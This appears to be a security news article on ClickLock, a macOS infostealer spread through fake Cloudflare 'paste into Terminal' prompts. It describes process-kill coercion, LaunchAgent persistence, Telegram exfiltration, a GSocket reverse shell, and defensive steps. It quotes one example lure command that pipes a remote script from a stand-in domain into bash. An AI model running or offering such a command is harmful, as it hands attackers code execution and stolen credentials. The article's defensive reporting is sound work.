Security researchers have spotted an aggressive macOS information stealer that takes your desktop hostage until you hand over your system password. Discovered by Group-IB after a zero-detection submission to VirusTotal in June 2026, the malware—dubbed ClickLock—has already compromised over 100 systems across 33 countries.
Instead of relying on complex zero-day exploits, ClickLock abuses human behavior and standard macOS utilities. It starts with a deceptive web prompt, tricks users into running a terminal script, and systematically kills visible applications until the victim surrenders their administrative login password.
Anatomy of a ClickFix Terminal Trap
The infection chain begins with a ClickFix social engineering tactic. Threat actors compromise legitimate web domains and display fake Cloudflare human verification challenges. These pages present what looks like a routine verification tutorial, instructing visitors to copy a code snippet and paste it into Terminal to proceed.
## Example payload execution flow via terminal lure
curl -sSL https://compromised-domain.com/stage1.sh | bash
Once pasted, the shell script executes quietly behind an animated progress bar rendered in the Terminal window.
To prevent victims from aborting the command, ClickLock immediately disables keyboard interrupts like Ctrl+C and hides the terminal cursor. Simultaneously, it suppresses the macOS NotificationCenter for roughly six hours. That suppression window keeps system alerts and security warnings hidden while stealer payloads download in the background.
Brute-Forcing User Consent Through Process Kills and AI Cybersecurity Threats
Once loaded, ClickLock displays a fake macOS password dialog styled to mimic native prompts, featuring the victim's real username alongside a downloaded Apple logo. If the user enters their password, the malware validates it against system authentication binaries and exfiltrates it immediately to the attacker.
If the user clicks cancel, ClickLock drops the polite facade. The script starts a aggressive background termination loop running every 210 milliseconds, targeting key active processes:
- System Utilities: Finder, Dock, Activity Monitor, Console, System Settings, and Spotlight
- User Applications: Terminal and active web browsers including Chrome, Firefox, Safari, Arc, Brave, Opera, Vivaldi, and Chromium
Kill Loop Cycle (210ms Interval):
[Check Active Apps] -> [Send SIGKILL / osascript] -> [Re-render Password Prompt]
This rapid loop renders the desktop unusable, locking out interactive work until the user complies. The script is configured to maintain this termination loop for up to 300,000 seconds—nearly 83 hours—or until a correct password is provided.
This aggressive psychological coercion reflects a wider shift in ai cybersecurity threats, where attackers combine automated execution with relentless pressure. As noted in analyses of how the human layer remains the primary weak link, threat actors increasingly bypass technical defenses by coercing users into authorizing their own compromise.
Persistence Mechanisms and Dual LaunchAgent Hijacks
When initial coercion fails or systems reboot, ClickLock maintains its hold through two distinct LaunchAgent plist files dropped into ~/Library/LaunchAgents/:
com.authirity.plist: Controls the primary 210-millisecond process-killing loop to demand the system login password upon reboot.com.chromer.plist: Manages a secondary coercion loop executing every 200 milliseconds, continuously prompting for Keychain authorization to access Chrome's Safe Storage key.
The Keychain authorization loop runs for up to 3,000,000 seconds—roughly 35 days. Obtaining the Chrome Safe Storage key lets the malware decrypt offline SQLite databases containing saved passwords, session cookies, and autofill entries without needing root access.
By leveraging native launch daemons, the malware establishes agentic persistence that survives standard app quits. Enterprise security benchmarks from teams like IBM Security emphasize that credential harvesting paired with persistent local backdoors remains a primary vector for organizational compromise.
Mass Exfiltration via Telegram and Persistent GSocket Backdoors
After securing authentication credentials, ClickLock executes a data-harvesting module designed to scrape sensitive artifacts across the operating system.
Targeted Data and Exfiltration Workflow
The harvesting module gathers data from eight major web browsers, targeting high-value assets:
- Browser Secrets: Saved logins, session cookies, autofill records, bookmarks, and local storage state
- Cryptocurrency Credentials: Extension state files, desktop wallet databases, seed phrase backups, and cached addresses across EVM, Bitcoin, Solana, TRON, TON, and Stacks networks
- Developer & Infrastructure Configs: Shell history logs (
.bash_history,.zsh_history), FileZilla FTP configs and server histories, public IP details, and system specs
Harvested Data -> ZIP Archive (>40MB Split) -> Telegram Bot API Upload
The malware packages these files into a ZIP archive and exfiltrates them using the Telegram Bot API. If the archive exceeds 40 MB, ClickLock splits it into smaller parts and uses retry logic to handle network drops.
While primary stealer modules self-delete after exfiltrating data, ClickLock leaves behind a modified version of the open-source GSocket utility. This backdoor configures shell profile hooks, crontab entries, and a persistent LaunchAgent to maintain a reverse shell through GSocket relay nodes. This gives threat actors complete ongoing remote access long after the infostealer finishes its run.
Defenses and Remediation Practices for macOS Endpoints
Because ClickLock uses clean infrastructure, native OS utilities, and self-deleting scripts, static antivirus engines missed it during initial submissions. According to reporting by BleepingComputer, defending against these attacks requires operational vigilance and behavior-based detection rules.
Defensive Countermeasures
- Reject Terminal Copy-Paste Lures: Never copy and execute terminal commands directly from web browser prompts or verification challenges.
- Monitor
osascriptExecution: Security teams should flag unusual parent-child process chains whereosascriptrepeatedly spawns system password prompts or kills desktop applications. - Audit LaunchAgents Directories: Periodically inspect
~/Library/LaunchAgentsfor suspicious entries likecom.authirity.plistorcom.chromer.plist. - Safe Mode Recovery: If a workstation gets trapped in a process termination loop, hold the power button to force a shutdown. Boot into Safe Mode to isolate and delete malicious LaunchAgent plists before launching a normal user session.
Securing endpoints against modern infostealers requires enforcing strict operational security practices and actively auditing background process activity across all macOS workstations.
